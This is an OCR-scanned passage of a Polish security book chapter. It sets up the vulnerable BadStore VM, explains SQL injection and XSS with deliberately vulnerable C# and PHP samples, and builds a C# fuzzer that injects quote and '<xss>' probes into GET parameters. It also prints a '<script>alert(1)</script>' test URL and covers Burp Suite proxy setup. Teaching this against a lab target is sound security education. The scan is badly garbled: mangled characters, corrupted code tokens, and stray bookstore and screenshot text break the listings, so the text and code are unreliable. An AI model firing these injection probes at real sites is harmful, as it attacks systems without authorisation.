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Fuzzing. Wykorzystanie
XSS oraz iniekcji SQL

W PRZECIWIENSTWIE DO INNYCH JEZYKOW, TAKICH JAK RUBY, PYTHON
CZY PERL, PROGRAMY NAPISANE W C# MOGA BYC DOMYSLNIE
URUCHAMIANE NA WSZYSTKICH NOWOCZESNYCH MASZYNACH
z systemem Windows. Co wiecej, uruchomienie programéw napisanych

w C# w systemach Linux, takich jak Ubuntu, Fedora lub inne, nie
moze by¢ latwiejsze, zwlaszcza ze wiekszo$é menedzeréw pakietéow
w systemach Linux, takich jak apt lub Dim, jest w stanie bez trudu zainstalowa¢
framework Mono. Stawia to jezyk C# w lepszej pozycji w poréwnaniu z wiekszo-
$cig innych jezykéw pod wzgledem potrzeb obstugi wielu platform. Dodatkows
korzy$¢ stanowi latwy dostep do obszernej biblioteki standardowej. Podsumowu-
jac, C# oraz biblioteki Mono/.NET to kuszacy framework dla wszystkich, ktorzy
cheg szybko i tatwo pisa¢ wieloplatformowe narzedzia.

W tym rozdziale napiszemy fuzzer mutacyjny, ktéry mozna wykorzysta¢ w przy-
padku, gdy znamy dobre dane wejsciowe w postaci adresu URL lub zgdania HTTP
(fuzzer generacyjny napiszemy w rozdziale 3.). Gdy nauczymy sie postugiwaé fuzze-
rem do wyszukiwania stabych punktéw XSS i iniekcji SQL, dowiemy sie, jak
wykorzysta¢ iniekcje SQL do odezytania z bazy danych skrétéw nazw uzytkow-
nik6éw i hasel.
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Aby znalezé i wykorzystaé stabe punkty dla iniekcji SQL i XSS, skorzystamy
z podstawowych bibliotek obstugi HTTP w celu programowego tworzenia zadan
HTTP w jezyku C#.

Najpierw napiszemy prosty fuzzer, ktory parsuje adres URL i zaczyna fuzzing
parametrow HTTP przy uzyciu zadan GET i POST. Nastepnie opracujemy pelne
eksploity dla stabych punktéw iniekeji SQL. Uzyjemy w nich starannie spreparo-
wanych zadant HTTP w celu wyodrebnienia z bazy danych informacji o uzytkowniku.

Narzedzia opracowane w tym rozdziale przetestujemy na niewielkiej dystry-
bucji Linuksa o nazwie BadStore (dostepnej w witrynie VulnHub, pod adresem
https://www.vulnhub.com/). BadStore zostal specjalnie zaprojektowany tak, aby
zawieral luki w zabezpieczeniach. Jest wrazliwy (miedzy innymi) na iniekcje
SQL i ataki XSS. Po pobraniu obrazu ISO systemu BadStore z witryny VulnHub
uzyjemy darmowego oprogramowania wirtualizacji VirtualBox do stworzenia ma-
szyny wirtualnej, na ktérej przeprowadzimy rozruch systemu BadStore z obrazu
ISO. W ten sposéb bedziemy mogli przeprowadzi¢ atak bez stwarzania niebezpie-
czefistwa dla wlasnego systemu hosta.

Konfigurowanie maszyny wirtualne;j

Aby zainstalowaé VirtualBox w systemach Linux, Windows lub OS X, nalezy pobra¢
oprogramowanie VirtualBox pod adresem https://www.virtualbox.org/ (instalacja
nie powinna sprawié klopotéw; wystarczy postepowa¢ zgodnie z najnowszymi
wskazéwkami w witrynie). Maszyny wirtualne (VM) pozwalaja na emulacje sys-
tem6w komputerowych z uzyciem fizycznego komputera. Mozna je wykorzystaé do
fatwego tworzenia wrazliwych systeméw oprogramowania (takich jak te, ktérych
bedziemy uzywac w niniejszej ksigzce) i zarzadzania nimi.

Dodawanie sieci wirtualnej ,,tylko do hosta™

Przed wlasciwym skonfigurowaniem maszyny wirtualnej moze byé konieczne utwo-
rzenie sieci wirtualnej w trybie ,,tylko do hosta”. Sieé¢ ,tylko do hosta” umozliwia
komunikacje wylacznie pomiedzy maszyng wirtualng a systemem hosta. Aby skon-
figurowa¢ takg sie¢, wykonaj nastepujace czynnosci:
1. Kliknij File/Preferences. Otworzy sie okno VirtualBox — Preferences.
W systemie OS X wybierz VirtualBox/Preferences.

2. Kliknij obszar Network po lewej stronie. Powiniene$ zobaczy¢ dwie
zaktadki: NAT Networks i Host-only Networks. W systemie OS X
kliknij zaktadke Network w gérnej czesci okna dialogowego Settings.

3. Kliknij zaktadke Host-only Networks, a nastepnie przycisk Add host-only
network (Ins) po prawej stronie. Ten przycisk ma postaé¢ ikony karty
sieciowej ze znakiem plus. W wyniku klikniecia przycisku powinna
stworzy¢ sie sie¢ o nazwie vboxnet().
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4. Kliknij przycisk Edit host-only network (Space) po prawej stronie.
Ten przycisk ma ikone Srubokreta.

5. W oknie dialogowym, ktére sie otworzy, kliknij zaktadke DHCP Server.
Zaznacz pole Enable Server. W polu Server Address wpisz adres
IP 192.168.56.2. W polu Server Mask wpisz 255.255.255.0. W polu
Lower Address Bound wpisz 192.168.56.100. W polu Upper Address
Bound wpisz 192.168.56.199.

6. Kliknij przycisk OK, aby zapisa¢ zmiany w sieci ,.tylko do hosta”.
7. Kliknij przycisk OK ponownie, aby zamkna¢ okno dialogowe Settings.

Tworzenie maszyny wirtualnej

Po zainstalowaniu programu VirtualBox i skonfigurowaniu sieci ,tylko do hosta”
nalezy skonfigurowac¢ maszyne wirtualna:

1. Kliknij ikone New w lewym gérnym rogu, tak jak pokazano na rysunku 2.1.

2. W oknie dialogowym do wyboru nazwy i typu systemu operacyjnego
wybierz z rozwijanego menu opcje Other Linux (32-bit).

3. Kliknij Continue. Powinien wyswietli¢ sie ekran umozliwiajacy
skonfigurowanie na maszynie wirtualnej pamieci RAM. Ustaw ilo$¢
pamieci RAM na 512 MB, a nastepnie kliknij Continue (fuzzing
i korzystanie z eksploitéw na serwerze WWW moga sie wigzad
z uzyciem przez maszyne wirtualng duzej ilosci pamieci RAM).

4. Po wyswietleniu pytania o utworzenie nowego wirtualnego dysku
twardego kliknij Do not add a virtual hard drive, a nastepnie kliknij
Create (system BadStore uruchomimy z obrazu ISO). W lewym panelu
okna VirtualBox Manager powiniene$ zobaczy¢ utworzong maszyne
wirtualng, tak jak pokazano na rysunku 2.1.

Uruchamianie maszyny wirtualnej z obrazu ISO
z systemem BadStore

Po utworzeniu maszyny wirtualnej nalezy ustawi¢ ja do rozruchu z obrazu ISO
BadStore. Aby to zrobié¢, wykonaj nastepujace czynno$ci:

1. Kliknij prawym przyciskiem myszy maszyne wirtualna w lewym panelu
okna VirtualBox Manager, a nastepnie kliknij przycisk Settings. Wyswietli
sie okno dialogowe z biezacymi ustawieniami dla karty sieciowej, napedu
CD-ROM i innych r6znych elementéw konfiguracji.

2. W oknie Settings wybierz zakladke Network. W gérnej czesci okna powiniene$
zobaczy¢ siedem ustawien dla karty sieciowej, w tym NAT (translacja adresow
sieci), sie¢ ,tylko do hosta” i konfiguracje dla mostu. Wybierz sieé¢
Stylko do hosta”, aby przydzieli¢ karcie sieciowej adres IP, ktéry bedzie
dostepny tylko z komputera-hosta i nie bedzie dostepny z internetu.
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Rysunek 2.1. VirtualBox z maszyng wirtualng dla systemu BadStore

3. Nalezy ustawi¢ typ karty sieciowej na rozwijanej liscie Advanced na
starszy chipset, poniewaz system BadStore bazuje na starszym jadrze
systemu Linux i niektére nowsze chipsety nie s obstugiwane. Wybierz
opcje PCnet-FAST I11.

Teraz skonfigurujemy naped CD-ROM w celu rozruchu z obrazu ISO na dysku
twardym. W tym celu wykonaj nastepujace czynno$ci:

1. W oknie dialogowym Settings wybierz zaktadke Storage. Kliknij ikone
dysku CD. Wyswietli sie menu z opcja Choose a virtual CD/DVD disk file.

2. Kliknij opcje Choose a virtual CD/DVD disk file. Znajdz obraz 1SO
systemu BadStore zapisany w systemie plikow i ustaw go jako medium
rozruchowe. Maszyna wirtualna powinna by¢ teraz gotowa do uruchomienia.

3. Zapisz ustawienia, klikajac przycisk OK w prawym dolnym rogu zaktadki
Settings. Nastepnie, aby przeprowadzi¢ rozruch maszyny wirtualnej,
Kliknij przycisk Start w lewym gérnym rogu okna VirtualBox Manager
obok przycisku z ikong kota zebatego Settings.

4. Po uruchomieniu maszyny wirtualnej powinien zosta¢ wy$wietlony
komunikat: P1ease press Enter to activate this console. Naci$nij
Enter i wpisz ifconfig, aby wyswietli¢ konfiguracje IP karty sieciowej,
ktéra uzyskata maszyna wirtualna.
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5. Po uzyskaniu adresu IP maszyny wirtualnej wprowadz go w przegladarce
WWW. Powiniene§ zobaczy¢ ekran podobny do przedstawionego
na rysunku 2.2.
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Rysunek 2.2. Gtéwna strona aplikacji webowej BadStore

Iniekcje SQL

We wspoétcezesnych bogatych aplikacjach webowych w celu zapewnienia wysokiej
jakosci oraz wygody i komfortu pracy uzytkownika programisci muszg by¢ w stanie
przechowywa¢ informacje w tle i o nie odpytywaé. Zazwyczaj efekt ten uzyskuje
sie za pomocyg bazy danych SQL (ang. Structured Query Language), takiej jak
MySQL, PostgreSQL lub Microsoft SQL Server.

SQL umozliwia programowe interakcje z bazg danych przy uzyciu instrukeji
SQL — kodu, ktéry informuje baze danych o sposobie tworzenia, odczytywania,
aktualizacji lub usuwania danych na podstawie dostarczonych informacji lub kryte-
riéw. Na przyklad instrukcja SELECT zadajaca od bazy danych podania liczby
uzytkownikéw w hostowanej bazie danych moze wyglada¢ tak, jak pokazano na
listingu 2.1.

Listing 2. 1. Przyktadowa instrukcja SQL SELECT

SELECT COUNT(*) FROM USERS
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Czasami programi$ci daza do tego, by instrukcje SQL byly dynamiczne
(tzn. by sie zmienialy zgodnie z interakcjami uzytkownika z aplikacja webowa). Na
przyklad programista moze chcie¢ pobra¢ z bazy danych informacje na podstawie
okreslonego identyfikatora lub nazwy uzytkownika.

Jednak gdy programista tworzy instrukcje SQL przy uzyciu danych lub warto-
$ci dostarczonych przez uzytkownika za posrednictwem niezaufanych klient6w,
takich jak przegladarki WWW, to jesli wartosci uzywane do tworzenia i wykony-
wania instrukeji SQL nie zostang, prawidlowo oczyszczone, wtedy aplikacja jest
zagrozona iniekcjag SQL. Na przyktad metoda C# SOAP pokazana na listingu 2.2
moze zostaé uzyta do wprowadzenia uzytkownika do bazy danych hostowanej
na serwerze WWW. (SOAP — ang. Simple Object Access Protocol — to technolo-
gia webowa bazujaca na XML, wykorzystywana do szybkiego tworzenia interfejsow
API aplikacji webowych. SOAP jest popularny w stosowanych w branzy jezykach,
takich jak C# i Java).

Listing 2.2. Metoda C# SOAP zagrozona iniekcjq SQL

[WebMethod]
public string AddUser(string username, string password)

{

NpgsqlConnection conn = new NpgsqlConnection(_connstr); conn.Open();

string sql = "insert into users values('{0}', "{1}"');";

05q1 = String.Format(sql, username, password); NpgsqlCommand
>command = new NpgsqlCommand(sql, conn);

@B command. ExecuteNonQuery () ;

conn.Close();
return "Doskonale!";

W tym przypadku programista nie oczyscit wartosci nazwy uzytkownika i hasta
przed utworzeniem @ i uruchomieniem @ ciggu instrukeji SQL. W rezultacie
napastnik moze zmodyfikowaé ciag nazwy uzytkownika lub hasta w taki sposéb,
aby baza danych uruchomita spreparowany kod SQL. Dzieki temu napastnik
moze uzyska¢ mozliwo$é zdalnego uruchomienia polecenia i petng kontrole nad
baza danych.

Gdyby wraz z jednym z parametréw zostal umieszczony apostrof (np. user'name
zamiast username), metoda ExecuteNonQuery() prébowataby uruchomi¢ nieprawi-
dlowsg kwerende SQL (pokazang na listingu 2.3). W takim przypadku metoda zglo-
sitaby wyjatek, ktory zostalby wyswietlony w odpowiedzi HTTE ktérg zobaczytby
napastnik.

Listing 2.3. Ta kwerenda SQL jest nieprawidfowa z powodu niesprawdzonych danych
dostarczonych przez uzytkownika

insert into users values('user'name', 'password');
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Wiele bibliotek oprogramowania, ktére umozliwiajg dostep do bazy danych,
pozwala programistom bezpiecznie uzywaé¢ wartosci dostarczonych przez nieza-
ufane klienty, takie jak przegladarki WWW, dzieki kwerendom parametrycznym.
Biblioteki te automatycznie oczyszczaja wszelkie przekazywane do kwerendy
SQL niezaufane warto$ci dzieki ,,unieszkodliwianiu™ takich znakéw, jak apostrofy,
nawiasy oraz inne znaki specjalne uzywane w skladni jezyka SQL. Problemom
zwigzanym z iniekcja SQL pomagaja zapobiega¢ kwerendy parametryczne oraz
inne rodzaje bibliotek realizujacych mapowanie obiektowo-relacyjne (ORM) —
na przyktad NHibernate.

Warto$ci dostarczane przez uzytkownika, takie jak pokazane powyzej, zwykle
sg uzywane w klauzulach WHERE wewnatrz kwerend SQL, tak jak na listingu 2.4.

Listing 2.4. Przyktadowa instrukcja SQL SELECT wybierajqca wiersz dla okreslonego user_id

SELECT * FROM users WHERE user_id = '1'

Jak pokazano na listingu 2.3, pozostawienie pojedynczego apostrofu wewnatrz
parametru HTTE ktéry nie zostanie prawidlowo oczyszczony przed wykorzysta-
niem do stworzenia dynamicznej kwerendy SQL, moze spowodowa¢ zgloszenie
przez aplikacje webowg bledu (na przykltad kodu HTTP 500), poniewaz apostrof
w instrukeji SQL oznacza poczatek lub koniec ciggu. Pojedynczy apostrof spra-
wia, ze instrukcja staje sie nieprawidlowa ze wzgledu na przedwezesne zakoriczenie
ciggu znakéw lub rozpoczecie ciggu bez jego wezesniejszego zakonczenia. Dzieki
sparsowaniu odpowiedzi HTTP na takie zgdania mozna przeprowadzi¢ fuzzing
takich aplikacji webowych i znalez¢ parametry HTTP dostarczane przez uzyt-
kownika, ktére doprowadzity do btedéw SQL w odpowiedzi.

Skrypty krzyzowe

Podobnie jak iniekcje SQL, ataki za pomoca skryptéow krzyzowych (XSS) wyko-
rzystujg luki w kodzie pojawiajace sie, gdy programisci budujg HTML, ktéry ma
by¢ renderowany w przegladarce WWW za pomocg danych przekazanych do
serwera z przegladarki WWW. Czasami dane dostarczone na serwer z niezaufa-
nych klient6w, takich jak przegladarki WWW, moga zawiera¢ kod HTML wraz
zkodem JavaScript. Taki kod pozwala napastnikowi przeja¢ kontrole nad witryng
WWW przez kradziez pliku cookie lub przekierowanie uzytkownikéw do zlosliwej
witryny za poSrednictwem surowego, nieprzefiltrowanego kodu HTML.

Na przyklad blog, ktéry pozwala na wprowadzanie komentarzy, moze wysylaé
do serwera witryny zadania HTTP za posrednictwem formularza do wprowadzania
komentarzy. Jesli napastnik utworzytby komentarz z osadzonym kodem HTML
lub JavaSecript, a oprogramowanie bloga zaufaloby mu i nie przeprowadzito walidacji
danych z przegladarki WWW i przestalo . komentarz”, wtedy napastnik mégtby wy-
korzysta¢ zatadowany komentarz do zastgpienia witryny WWW wlasnym kodem
HTML lub przekierowaé uzytkownika bloga do witryny WWW kontrolowanej
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przez napastnika. Napastnik moglby nastepnie zainstalowa¢ potencjalnie zlo-
§liwe oprogramowanie na maszynie uzytkownika bloga.

Ogolnie rzecz biorae, szybkim sposobem na wykrycie na stronie internetowe;j
kodu, ktéry méglby by¢ narazony na ataki XSS, jest przekazanie do witryny zadania
ze spreparowanym parametrem. Jesli skazone dane pojawia sic w odpowiedzi
bez zmian, moze to oznacza¢ wektor dla atakéw XSS. Dla przyktadu zat6zmy, ze
w parametrze zgdania HTTP przekazujemy <xss>, tak jak na listingu 2.5.

Listing 2.5. Przyktadowe zgdanie GET do skryptu PHP z parametrem ciggu kwerendy

GET /index.php?name=Brandon<xss> HTTP/1.1 Host: 10.37.129.5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.10; rv:37.0)
>Gecko/20100101 Firefox/37.0 Accept: text/html,application/
“>xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
>Connection: keep-alive

Serwer odpowiada w sposéb podobny do pokazanego na listingu 2.6.

Listing 2.6. Przyktadowa odpowiedz ze skryptu PHP zawierajgca oczyszczony parametr
ciggu kwerendy name

HTTP/1.1 200 OK

Date: Sun, 19 Apr 2015 21:28:02 GMT

Server: Apache/2.4.7 (Ubuntu)

X-Powered-By: PHP/5.5.9-lubuntu4.7 Content-Length: 32
Keep-Alive: timeout=5, max=100 Connection: Keep-Alive
Content-Type: text/html

Welcome Brandon&lt;xss&gt;<br />

Ogolnie rzecz biorac, jesli kod <xss> zostanie zastapiony wersja zawierajaca
encje HTML, bedzie to oznaczalo, ze witryna filtruje dane wejsciowe za pomoca
funkcji PHP, takiej jak htmlspecialchars(), lub podobnej metody. Jesli jednak
na stronie w odpowiedzi po prostu wy$wietli sie <xss>, to znaczy, ze witryna nie
wykonuje zadnego filtrowania ani oczyszczania, tak jak w przypadku parametru
HTTP name w kodzie pokazanym na listingu 2.7.

Listing 2.7. Kod PHP wrazliwy na atak XSS

<?php
$name = § GET['name'];
@eccho "Witaj $name<br>";
7>

Podobnie jak w przypadku kodu wrazliwego na iniekcje SQL z listingu 2.1,
programista nie oczyszcza ani nie zastepuje potencjalnie niebezpiecznych znakéw
przed wyrenderowaniem kodu HTML na ekranie @. Przez przekazanie do aplikacji
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webowej specjalnie spreparowanego parametru name mozna wyrenderowac kod
HTML na ekranie, uruchomic¢ kod JavaScript, a nawet uruchomié aplety Javy, kto-
re sprobujg przeja¢ kontrole nad komputerem. Na przyktad mozna wyslaé spe-
cjalnie spreparowany adres URL, taki jak pokazano na listingu 2.8.

Listing 2.8. Adres URL z parametrem ciggu kwerendy, ktéry spowodowatby wyswietlenie
okna ostrzezenia JavaScript, gdyby parametr byt wrazliwy na atak XSS

www.example.com/vuln.php?name=Brandon<script>alert(1l)</script>

Gdyby skrypt PHP wykorzystywal parametr name do stworzenia kodu HTML,
a ten ostatecznie zostalby wyrenderowany w przegladarce WWW, to adres URL
z listingu 2.8 mégtby spowodowaé¢ wyswietlenie w przegladarce okna pop-up
JavaScript z liczba 1.

Fuzzing zadan GET
z wykorzystaniem fuzzera mutacyjnego

Teraz, gdy znasz juz podstawy luk iniekcji SQL i XSS, sprobujemy zaimplemento-
waé prosty fuzzer, ktéry znajduje potencjalne wrazliwosci na iniekcje SQL lub
ataki XSS w parametrach ciggu kwerendy. Parametry ciggu kwerendy to argumenty
w adresie URL wystepujace za znakiem ? w formacie klucz=wartos¢. W tym pod-
rozdziale skupimy sie na parametrach HTTP w zadaniach GET, ale najpierw sparsu-
jemy adres URL tak, by méc przeglada¢ w petli wszystkie parametry ciggu zapyta-
nia HTTE, jak pokazano na listingu 2.9.

Listing 2.9. Prosta metoda Main() parsujgca parametry ciqggu kwerendy
w podanym adresie URL

public static void Main(string[] args)
{
Ostring url = args[0];
int index = url.@Index0f("?");
string[] parms = url.®Remove(0, index+1).@Split('&"');
foreach (string parm in parms)
Console.WriteLine(parm);

W kodzie z listingu 2.9 pobieramy pierwszy argument (args[0]) przekazany
do gléwnej aplikacji fuzzera i zakltadamy, ze jest to adres URL @ z niektérymi
fuzzowalnymi parametrami HTTP w ciggu kwerendy. Aby przeksztalci¢ parametry
na postaé, ktéra nadaje sie do iterowania, usuwamy z adresu URL wszystkie
znaki az do wystapienia znaku zapytania (?) wlacznie i korzystamy z wywolania
Index0f("?") @ do ustalenia indeksu pierwszego wystapienia znaku zapytania.
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Jest to indeks, na ktérym adres URL sie zakonczyl. Dalej sg parametry ciggu
kwerendy. To sg parametry, ktére mozemy sparsowacé.

Wywolanie Remove (0, indeks + 1) & zwraca ciag, ktéry zawiera wylacznie
parametry adresu URL. Ten ciag jest nastepnie dzielony za pomoca znaku '&' @,
oznaczajacego poczatek nowego parametru. Na koniec uzywamy stowa kluczowego
foreach w celu przetwarzania w petli wszystkich ciagéw w tablicy parms i wy$wie-
tlenia wszystkich parametréw oraz ich wartosci. Wihasnie wyizolowalismy z adresu
URL parametry ciggu kwerendy i ich warto$ci. Mozemy teraz zacza¢ modyfikowaé
wartosci podezas wykonywania zadan HTTP, aby wywolywaé bledy z aplikacji
webowej.

Preparowanie parametréw i testowanie luk

Nastepnym krokiem po wydzieleniu wszystkich parametréw adresu URL, ktére
moga by¢ wrazliwe, jest skazenie kazdego z nich fragmentem danych, ktére serwer
poprawnie oczysci, jesli nie jest wrazliwy na iniekcje SQL lub XSS. W przypadku
XSS do skazonych danych dodamy <xss>, natomiast do danych przeznaczonych
do testowania pod katem iniekcji SQL wprowadzimy pojedynczy apostrof.

Mozemy stworzy¢ dwa nowe adresy URL do testowania celu przez zastapienie
znanych dobrych wartos$ci parametréw w adresach URL danymi skazonymi dla
iniekeji SQL i XSS, tak jak pokazano na listingu 2.10.

Listing 2.10. Zmodyfikowana petla foreach zastepujgca parametry skazonymi danymi

foreach (string parm in parms)

{
Gstring xssUrl

e'string sqlUrl

url.Replace(parm, parm + "fd<xss>sa");
url.Replace(parm, parm + "fd'sa");

Console.WriteLine(xssUrl);
Console.WriteLine(sqlUrl);

W celu testowania wrazliwosci na luki trzeba zadba¢ o stworzenie takich adre-
s6w URL, ktore bedy zrozumiate dla docelowej witryny. Aby to zrobié, najpierw
zastepujemy stary parametr w adresie URL parametrem skazonym, a nastepnie
wyswietlamy nowe adresy URL, kt6rych bedziemy zadaé¢. Podczas wySwietlania
na ekranie kazdy parametr w adresie URL powinien mie¢ jeden wiersz, ktéry za-
wiera parametr skazony XSS @, oraz jeden wiersz zawierajacy parametr z pojedyn-
czym apostrofem @, tak jak pokazano na listingu 2.11.

Listing 2.1 1. Wyswietlone adresy URL ze skazonymi adresami HTTP

http://192.168.1.75/cgi-bin/badstore.cgi?SearchQuery=testfd<xss>sa
>idealna akcja = Szukaj http://192.168.1.75/cgi-bin/badstore.cgi?
>searchquery=testfd'sa idealna akcja = Szukaj</xss>

--ciach—
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Budowanie zqdann HTTP

Nastepnie programowo zbudujemy zadania HTTP za pomoca klasy HttpWebRequest,
a potem stworzymy zadania HTTP ze skazonymi parametrami HTTPE by zobaczy¢,
czy zostang zwrécone bledy (patrz listing 2.12).

Listing 2.12. Pefna petla foreach testujgca podany adres URL pod kqtem wrazliwosci na
ataki XSS i iniekcje SQL

foreach (string parm in parms)

{

url.Replace(parm, parm + "fd<xss>sa");
url.Replace(parm, parm + "fd'sa");

string xssUrl
string sqlUrl

HttpWebRequest request = (HttpNebRequest)WebRequest.OCreate(sq1Ur]);
request.GMethod = "GET";

string sqlresp = string.Empty;
using (StreamReader rdr = new
StreamReader(request.GetResponse() .GetResponseStream()))
sqlresp = rdr.®ReadToEnd() ;

request = (HttpWebRequest)WebRequest.Create(xssUrl);
request.Method = "GET";
string xssresp = string.Empty;

using (StreamReader rdr = new
StreamReader(request.GetResponse() .GetResponseStream()))
xssresp = rdr.ReadToEnd();

if (xssresp.Contains("<xss>"))
Console.WriteLine ("Znaleziono potencjalng Tuke XSS
>w parametrze: " + parm);

if (sqlresp.Contains("error in your SQL syntax"))
Console.WriteLine("Znaleziono Tuke iniekcji SQL
>w parametrze: " + parm);

W kodzie z listingu 2.12 do przestania zadania HTTP uzyliSmy statycznej
metody Create () @ klasy WebRequest. Adres URL przekazalismy jako argument
w zmiennej sq1Ur] skazonej pojedynczym apostrofem i zrzutowalismy wynikowy
egzemplarz klasy WebRequest zwrécony do obiektu HttpWebRequest (metody statycz-
ne sy dostepne bez tworzenia egzemplarza klasy).

Statyczna metoda Create() korzysta z wzorca ,fabryka” w celu stworzenia
nowych obiektéw na podstawie przekazanego adresu URL, dlatego musimy zrzu-
towaé obiekt zwr6cony do obiektu HttpWebRequest. Gdybysmy na przyktad przeka-
zali URL poprzedzony ftp:// lub file://, to typ obiektu zwracanego przez metode
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Create() bylby obiektem innej klasy (odpowiednio FtpWebRequest lub FileWeb
“>Request). Nastepnie ustawiamy wlasciwos$é Method obiektu HttpWebRequest na
GET (zatem tworzymy zadanie GET) @ i zapisujemy odpowiedz na zadanie w ciagu
resp za pomoca klasy StreamReader i metody ReadToEnd() . Jesli odpowiedz
zawiera nieprzefiltrowany tadunek XSS lub zglasza btad dotyczacy sktadni SQL,
to znaczy, ze znalezlismy luke.

Zwréémy wwage na uzycie w powyzszym kodzie stowa kluczowego using w nowy
sposob. Wezesniej stosowalismy stowo kluczowe using w celu importowania do
fuzzera klas z przestrzeni nazw (na przyklad System.Net). Ogdlnie rzecz biorgc,
egzemplarze obiektéw (obiekty utworzone za pomocq stowa kluczowego new)
mogq byc uzywane w bloku using w taki sposdb, gdy klasa implementuje interfejs
IDisposable (ktéry wymaga od klasy zaimplementowania metody Dispose()).
Gdy zakres bloku using koniczy sie, metoda Dispose () obiektu jest wywolywana
automatycznie. To bardzo przydatny sposéb zarzqdzania zasobami zakresu. Nieod-
powiednie zarzqdzanie takimi zasobami moze prowadzi¢ do wyciekéw zasobow,
takich jak zasoby sieciowe lub deskryptory plikéw.

Testowanie fuzzowanego kodu

Sprébujmy przetestowaé nasz kod za pomoca pola wyszukiwania na stronie gléw-
nej BadStore. Po otwarciu aplikacji BadStore w przegladarce WWW Kliknij przy-
cisk pozycji menu Home z lewej strony ekranu, a nastepnie skorzystaj z pola szyb-
kiego wyszukiwania w polu wyszukiwania w lewym gérnym rogu. W przegladarce
powinien wys$wietli¢ sie adres URL podobny do tego, ktéry pokazano na li-
stingu 2.13.

Listing 2.13. Przyktadowy adres URL do strony wyszukiwania BadStore

http://192.168.1.75/cgi-bin/badstore.cgi?SearchQuery=test&Action=Search

Przekaz do programu jako argument w wierszu polecenia adres URL z listin-
gu 2.13 (zastepujac adres IP adresem IP aplikacji BadStore w Twojej sieci), tak
jak pokazano na listingu 2.14. To powinno rozpoczaé¢ fuzzowanie.

Listing 2.14. Uruchamianie fuzzera XSS i iniekcji SQL

$ ./fuzzer.exe "http://192.168.1.75/cgi-
bin/badstore.cgi?searchquery=test&action=search"

Znaleziono luke iniekcji SQL w parametrze: searchquery=test
Znaleziono potencjalnag Tuke XSS w parametrze: searchquery=test

$

Uruchomienie fuzzera powinno znalezé w aplikacji BadStore wrazliwosé za-
réwno na iniekcje SQL, jak i atak XSS. Wynik dzialania fuzzera powinien by¢
podobny do wyj$cia zamieszczonego na listingu 2.14.
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Fuzzowanie zadan POST

Kup ksigzke

W tym podrozdziale skorzystamy z systemu BadStore do fuzzowania parametréw
zadania POST (zadanie uzywane w celu przestania danych do przetwarzania do
zasobu webowego) zapisywanych na lokalnym dysku twardym. Zadanie POST prze-
chwycimy za pomoca Burp Suite — latwego w uzyciu serwera proxy HTTP stwo-
rzonego dla specjalistéw zajmujacych sie zabezpieczeniami. Burp Suite dziala
pomiedzy przegladarka a serwerem HTTE dzieki czemu mozna oglada¢ dane prze-
sylane tam i z powrotem.

Pobierz serwer Burp Suite spod adresu hitp://www.portswiggernet/ i zainstaluj
go (Burp Suite jest publikowany jako archiwum Javy, w formacie pliku JAR, kt6-
ry mozna zapisa¢ na pendrivie albo na innym przeno$nym medium). Po pobraniu
Burp Suite uruchom aplikacje za pomoca Javy, uzywajac polecen z listingu 2.15.

Listing 2.15. Uruchamianie Burp Suite z wiersza polecenia

$ ¢d ~/Downloads/
$ java -jar burpsuite*.jar

Po uruchomieniu serwer proxy Burp Suite powinien nastuchiwaé na porcie
8080. Skonfiguruj przegladarke Firefox tak, by korzystata z serwera proxy Burp
Suite. Mozna to zrobié¢ w nastepujacy sposéb:

1. W przegladarce Firefox wybierz Opcje/Zaawansowane.
Powinno wyswietli¢ si¢ okno dialogowe Zaawansowane.

2. Wybierz karte Sied, tak jak pokazano na rysunku 2.3.

Zaawansowane

Ogélne Udastepniane dane Sied Aktualizacia Certyfikaty

Polyczenia

Diredl, w jalkd spastib Firefox ma sig laczyé 7 Intemeten Litawnania,

Treéd w pamiecl podreczne]

Tredci w pam podrgcne) ¢ 350 MB na dysku Wygrysé teraz

hitpy//pBhTt5p2 map2 sslhwednnet 353KB

htp//p8hTtep 2 map2 ssl hwednnet 155 KB

Rysunek 2.3. Karta Siec¢ w ustawieniach Firefoksa

Fuzzing. Wykorzystanie XSS oraz iniekcji SQL 49

Pole¢ ksiazke


http://helion.pl/page354U~rf/greyha
http://helion.pl/page354U~rt/greyha

3. Kliknij Ustawienia..., aby otworzy¢ okno dialogowe Ustawienia
polgczenia, jak pokazano na rysunku 2.4.

Ustawienla pelaczenia

proxy do
Bez serwera provy
Automatycznse wykrywaj ustawienia serwerdw prooy dia tej sied
Utywaj systemowych Ustawied serwerntw proay
Reczna konfiguracis sereendi prosy:
Serwer prory HTTR: | 127.00.1
+ | Lizy) tego serwera presy dls wazystioch protokaiow
Serwer prory S5L
Serwer proxy TP 127,

Hast SOCKS:

e uzywa| provy di

localhost. 127.00.1

Pryklad: .mozillaorg, .com.pl 192.168.1.0/24
Adres UL autematyezne) konfiguracs prowy:

Hie pytaj o ywisrryteinianie jedli istnise zachowane hasio

Proxy DNS podezas usywania SOCKS v5

Rysunek 2.4. Okno dialogowe Ustawienia potqczenia

4. Wybierz opcje Reczna konfiguracja serwerdw proxy, a nastepnie wpisz
127.0.0.1 w polu Serwer proxy HTTP i 8080 w polu Port. Kliknij przycisk
OK, aby zamkna¢ okno dialogowe Ustawienia polgczenia.

Odtad wszystkie zadania przesytane przez Firefoksa beda przechodzily przez

serwer Burp Suite. (Aby to sprawdzié, przejdz pod adres hitp://google.com/,
powiniene$ zobaczy¢ zadanie w okienku Zadania Burp Suite, tak jak pokazano

na rysunku 2.5).
Klikniecie przycisku Forward w oknie Burp Suite powinno spowodowaé prze-

kazanie zadania (w tym przypadku do serwisu Google) i zwrécenie odpowiedzi do

przegladarki Firefox.

Pisanie fuzzera zqdania POST

Nastepnie napiszemy i przetestujemy fuzzer zgdania POST przeciwko stronie What's
New aplikacji BadStore (patrz rysunek 2.6). Przejdz do tej strony w przegladarce
Firefox i kliknij polecenie menu What’s New po lewej stronie.
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[ Burp Suite Free Edition v1.7.26 - Temporary Project = |3 %

Burp Intruder Repeater Window Help

Target | Foxy | Spider | Scanner T Intruder I Repeater T Sequencer I Decoder T Comparer T Extender I Project options I User options | Alerts
J Int; pt. T HTTP history TWehSnckela history ] Options ]

#| Request to hitp//google com 80 [216 58 209 46]

Forward Drop [ Intercept is on 1 Action

Raw [ Params | Headers | Hex
GET / HTTP/L.L i
Host: google.com r
User—Agent: Mozilla/5.0 (Windows NT €.1; WOWE4; rv:54.0) Gecko/2010010L Firefox/54.0
Accept: text/huml,application/xhtml+xml,application/xml;q=0.9, %/ *;q=0.8
Accept-Language: pl,en-US;q=0.7,=n;q=0.3
